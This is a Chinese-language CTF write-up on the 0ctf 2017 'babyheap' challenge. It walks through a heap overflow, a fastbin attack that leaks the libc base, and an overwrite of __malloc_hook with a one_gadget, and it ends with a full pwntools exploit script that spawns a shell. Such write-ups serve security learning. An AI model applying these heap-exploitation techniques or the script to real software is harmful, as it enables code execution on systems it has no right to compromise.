0ctf2017-babyheap调试记录fastbin-attack

标签：操作   shell   用处   高亮   gdb   结构体   .com   处理   释放   

查看文件类型和保护开启情况，发现全保护开启，一般为堆溢出，无法改写got表，思路一般往malloc_hook转变。

运行程序观察执行大概流程。经典的菜单题目。

Allocate操作，输入分配字节大小以及标记。

Fill操作，输入分配的块号以及分配大小和填充内容。

Free操作，输入删除的块号进行删除。

Dump操作，输入需要处理的块号，打印出块的内容。

放入ida中，观察alloc功能函数发现，使用calloc函数进行内存分配，其特点为每次分配都会清空缓冲区。申请的块最大不超过4096字节。有结构体保存分配标记、分配大小以及分配地址。

Fill函数功能为进行内容填充，但是此处输入的长度由自己设置且和申请时长度设置无关，导致堆溢出。

Free函数首先根据块标记判断是否被释放，然后将释放标记置0，长度置0，指针置NULL，不存在UAF。

Dump函数主要打印堆块内容，无漏洞利用。

Leak libc_base

首先思路是要泄漏libc的基地址，本题漏洞在于存在一个堆溢出漏洞，可以越界写。又关注到当内存中只有一个small chunk或large chunk时，其内存指向libc上某处地址，然后我们就可以讲其打印出来，在经过计算就可以获得libc的基地址。

我们知道，fast chunk释放后会加入fast bin中，且fast bin使用后入先出规则，即当第一块fast chunk释放后，在.data数据段上的fast bin会在相应的index位中放入它的地址（不是返回给用户的地址，是实际地址），然后如果释放第二块fast chunk（假设大小一样），此时fast chunk会被放入fast bin相应的index位中，并且后释放的fast chunk在其fd位置会放入前一个释放的fast bin块的地址（实际地址）（fast bin为单链表，由fd指针连接）。我们可以利用fast chunk申请和释放的特点通过堆溢出修改后释放的fast chunk的fd指针所保存的地址，从而实现连续两次释放fast chunk，然后堆溢出修改保存的fd处的地址，再通过连续两次malloc（第一次将后释放的fast chunk申请出来，第二次将后释放的fast chunk的fd指针处保存的地址处的fast chunk申请出来）就可以拿到某个堆块的控制权（本题通过修改为small chunk的地址获得其控制权）。

但是要注意，fast chunk在malloc时有安全检查，即为判断chunk size与fastbin_index是否匹配。其中index计算方式为：(chunk size) >> (SIZE_SZ == 8 ? 4 : 3) – 2，在64位平台上SIZE_SZ为8。我们只要在申请前通过堆溢出将原本的small chunk的size字段修改为fast chunk的大小即可。由于我们之前申请了4个0x10大小的fast chunk，一个0x80大小的small chunk，因此small chunk的大小需要修改为0x21。

由于上图从0块开始覆盖，注意第一个0x21覆盖的是1块的大小，第二个0x21覆盖的是第2块的大小。由于之前释放的是1和2块，因此我们还需要将第2块的fd指针的最后一个字节修改（fd的低字节紧接在size字段后面，p8即表示一个字节数据）。

上图修改了第3块即small chunk前一块开始覆盖到small chunk的size字段，以绕过malloc检查。

这时候执行2此alloc即可在第一次获得原来第2块的地址，而第二次即可拿到small chunk地址的控制权。

上图首先需要将之前修改的small chunk的值修改回来，其次需要注意，如果当内存中只有一个small chunk时，释放改small chunk后fd并不会指向libc的某处。因此此处先alloc一个small chunk（这个chunk没有实际用处，只是为了释放原先small chunk时能够使原先small chunk的fd指针指向libc地址）。

这时候我们就可以dump出fd所指向的值（由于下标为4的chunk已经被释放，而下标为2的chunk通过修改地址方法分配到了原先下标为4即small chunk的地址），其中0x3c4b78为main_arena+x的地址，减去它即得到libc基地址（在fastbin为空时，unsortbin的fd和bk指向自身main_arena）。

这里提一下如何找到main_arena地址，我们只要在libc的导出表中搜索malloc_trim函数，然后跳到函数伪c表示即可看到上图的地址，这就是main_arena的地址。

但是small chunk所泄漏出来的是main_arena+x地址，我们有个巧妙的办法可以获得真实的偏移，我们双击上图的main_arena地址处，会发下如下图所示，然后我们只要往下找，发现的第一个dword值即为真实偏移（从unk_3C4B28开始）

可见，真实偏移值为0x3c4b78。（做了几个类似题目，这样找都没错，算是取巧吧）。其实从实验来看，small chunk所泄漏的libc地址实际上为top chunk地址，而这个地址距离main_arena的偏移是不变的（我猜的，因为暂时没遇到变的情况），其值为0x58，而malloc_hook到main_arena的距离为0x10。有了上述数据就可以计算出libc的实际地址。

执行execve("/bin/sh")

我们成功泄漏libc基地址后，我们下一步要做的是想办法执行execve("/bin/sh")。这里需要了解malloc_hook的作用，它在main_arena前0x10字节处。当调用malloc时如果该指针不为空就执行它指向的函数，因此我们可以写malloc_hook来get shell。

我们可以看到main_arena-0x10处即为malloc_hook指针所在地址，但是乍一看该指针前面空间貌似没有可以malloc的内存空间，这里仔细看的话可以看到一个0x60，我们重新查询，通过构造一个偏移来看看

我们以上述地址即可构造一个满足malloc检查的fast chunk。

我们先重新申请一个0x60大小的fast chunk，然后将它释放掉，接着通过下标2的堆块（实际控制初始的small chunk）修改fd的值为之前0x60的地址（libc_base+0x3c4b20-0x40+0xd）。我们现在申请一个0x60大小的fast chunk，会将之前释放的fast chunk申请回来（即通过堆块2修改过fd的fast chunk），此时fast chunk的fd值处的地址会放入fast bin中，这时候在申请一个0x60大小的堆块即可获得malloc_hook写的权限，此时我们构造payload将其覆盖为get shell函数的地址即可，注意偏移。

关于这个payload的构造，首先看下图，我们申请的地址为0x7fef6f717aed，这个地址是包含chunk head的地址，实际分配给我们的地址从+0x10处开始。我们又知道malloc_hook地址从0x7f0ed67f9b10处开始，由下图我们可以计算出，我们需要填充16+3个字节，即上述payload所写的p8(0)*3即为下图高亮的3个字节，p64(0)*2即为上一行的16个字节，填充完即紧接着覆盖malloc_hook为one gadget所找到的地址。

我们这里使用第二个gadget，因为别的不管用，哈哈哈哈哈。

完整exp如下：

 1 #!/usr/bin/env python
 2  
 3 from pwn import *
 4 import sys
 5  
 6 context.log_level = "debug"
 7  
 8 elf = "./0ctfbabyheap"
 9 ENV = {"LD_PRELOAD":"/lib/x86_64-linux-gnu/libc.so.6"}
10  
11 p = process(elf)
12  
13 def alloc(size):
14     p.recvuntil("Command: ")
15     p.sendline("1")
16     p.recvuntil("Size: ")
17     p.sendline(str(size))
18  
19 def fill(idx, content):
20     p.recvuntil("Command: ")
21     p.sendline("2")
22     p.recvuntil("Index: ")
23     p.sendline(str(idx))
24     p.recvuntil("Size: ")
25     p.sendline(str(len(content)))
26     p.recvuntil("Content: ")
27     p.send(content)
28  
29 def free(idx):
30     p.recvuntil("Command: ")
31     p.sendline("3")
32     p.recvuntil("Index: ")
33     p.sendline(str(idx))
34  
35 def dump(idx):
36     p.recvuntil("Command: ")
37     p.sendline("4")
38     p.recvuntil("Index: ")
39     p.sendline(str(idx))
40     p.recvline()
41     return p.recvline()
42  
43 #gdb.attach(p) 
44 alloc(0x10)
45 alloc(0x10)
46 alloc(0x10)
47 alloc(0x10)
48 alloc(0x80)
49 
50 free(1)
51 free(2)
52 
53 payload = p64(0)*3
54 payload += p64(0x21)
55 payload += p64(0)*3
56 payload += p64(0x21)
57 payload += p8(0x80)
58 fill(0, payload)
59  
60 payload = p64(0)*3
61 payload += p64(0x21)
62 fill(3, payload)
63  
64 alloc(0x10)
65 alloc(0x10)
66  
67 payload = p64(0)*3
68 payload += p64(0x91)
69 fill(3, payload)
70 alloc(0x80)
71 free(4)
72  
73 libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
74 log.info("libc_base: "+hex(libc_base))
75  
76 alloc(0x60)
77 free(4)
78  
79 payload = p64(libc_base+0x3c4aed)
80 fill(2, payload)
81 
82 gdb.attach(p)
83 alloc(0x60)
84 alloc(0x60)
85  
86 payload = p8(0)*3
87 payload += p64(0)*2
88 payload += p64(libc_base+0x4526a)
89 fill(6, payload)
90  
91 alloc(255)
92  
93 p.interactive()

参考：https://bbs.pediy.com/thread-223461.htm

0ctf2017-babyheap调试记录fastbin-attack

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原文地址：https://www.cnblogs.com/xingzherufeng/p/9844873.html